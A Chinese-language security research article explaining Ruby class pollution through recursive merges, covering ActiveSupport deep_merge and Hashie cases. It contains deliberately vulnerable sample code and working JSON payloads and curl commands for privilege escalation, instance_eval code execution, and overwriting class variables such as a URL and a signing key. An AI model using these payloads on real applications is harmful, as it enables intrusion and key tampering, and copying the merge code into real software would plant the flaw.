简介
本文探讨了Ruby中一类鲜为人知的漏洞——类污染。这一概念灵感来源于JavaScript中的原型污染,攻击者通过递归合并操作来污染对象原型,引发意外行为。Ruby中的类污染可分为三种情况:
- 哈希合并:仅局限于哈希本身,无法实现类污染
- 属性合并(非递归):可污染对象的实例变量,但仅限于该对象
- 属性合并(递归):可逃逸出对象上下文,污染父类或无关类的属性和方法
属性合并攻击
让我们从一段代码示例开始,看看如何利用递归合并修改对象方法并改变应用行为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
require 'json'
class Person
attr_accessor :name, :age, :details
def merge_with(additional)
recursive_merge(self, additional)
end
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
|
攻击原理
- 初始化与设置:
User对象被初始化为普通用户
- 合并操作:通过
merge_with方法将JSON数据递归合并到用户对象
- 行为篡改:通过精心构造的JSON数据,可以修改或注入新的实例变量
实际攻击示例
权限提升攻击:
1
|
ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
此攻击注入返回"Admin"的新to_s方法,授予用户未授权的管理员权限。
远程代码执行攻击:
1
|
ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
此攻击在protected_methods列表中注入新方法,然后通过instance_eval执行,允许任意代码执行。
真实世界案例分析
1. ActiveSupport的deep_merge
ActiveSupport提供了deep_merge方法用于哈希。单独使用时不易被利用,但结合以下代码可能变得脆弱:
1
2
3
4
5
6
7
8
9
10
|
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
|
2. Hashie库的漏洞
Hashie库的deep_merge方法直接操作对象属性,使其更易受属性污染攻击。Hashie内置机制通常阻止方法被属性直接替换,但存在例外:
- 以
_、!或?结尾的属性仍可合并到对象中
- 访问
_属性会返回一个新的Mash对象,攻击者可利用此特性
Hashie攻击示例:
1
2
3
4
5
6
7
8
9
10
11
|
require 'hashie'
class Person < Hashie::Mash
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
|
通过JSON负载{"_": "Admin"},攻击者可在临时Mash对象中注入"Admin"值,绕过基于方法的授权检查。
逃逸对象:污染类
当合并操作具有递归性且针对属性时,可能逃逸出对象上下文,污染类、其父类甚至其他无关类的属性或方法。
(A) 污染父类
通过递归合并操作修改父类的类变量,影响该类的所有实例:
1
2
3
|
curl -X POST -H "Content-Type: application/json" \
-d '{"class":{"superclass":{"url":"http://malicious.com"}}}' \
http://localhost:4567/merge
|
此命令成功污染Person类的@@url变量,当访问/launch-curl-command端点时,应用将向恶意网站发送请求。
(B) 污染其他类
通过暴力尝试感染随机子类,最终可针对特定类进行污染:
1
2
3
4
5
|
for i in {1..1000}; do
curl -X POST -H "Content-Type: application/json" \
-d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' \
http://localhost:4567/merge --silent > /dev/null
done
|
此攻击尝试污染KeySigner类的@@signing_key变量,经过多次尝试后,签名密钥被替换为攻击者注入的密钥。
结论
本研究强调了Ruby中类污染的风险,特别是在涉及递归合并时。这些漏洞尤其危险,因为它们允许攻击者逃逸出对象的限制,操纵更广泛的应用程序上下文。通过理解这些机制并仔细考虑数据合并的处理方式,可以减轻Ruby应用程序中类污染的风险。
这种持久性的感染表明,一旦类被污染,整个应用程序上下文都会受到影响,涉及该类的所有未来操作都将表现出不可预测的行为。服务器设置还允许我们通过特定端点轻松检查这些受感染变量的状态,例如/check-infected-vars端点输出@@url和@@signing_key变量的当前值,确认感染是否成功。
这种方法清楚地展示了Ruby中的类污染如何产生持久且影响深远的结果,使其成为需要重点保护的关键领域。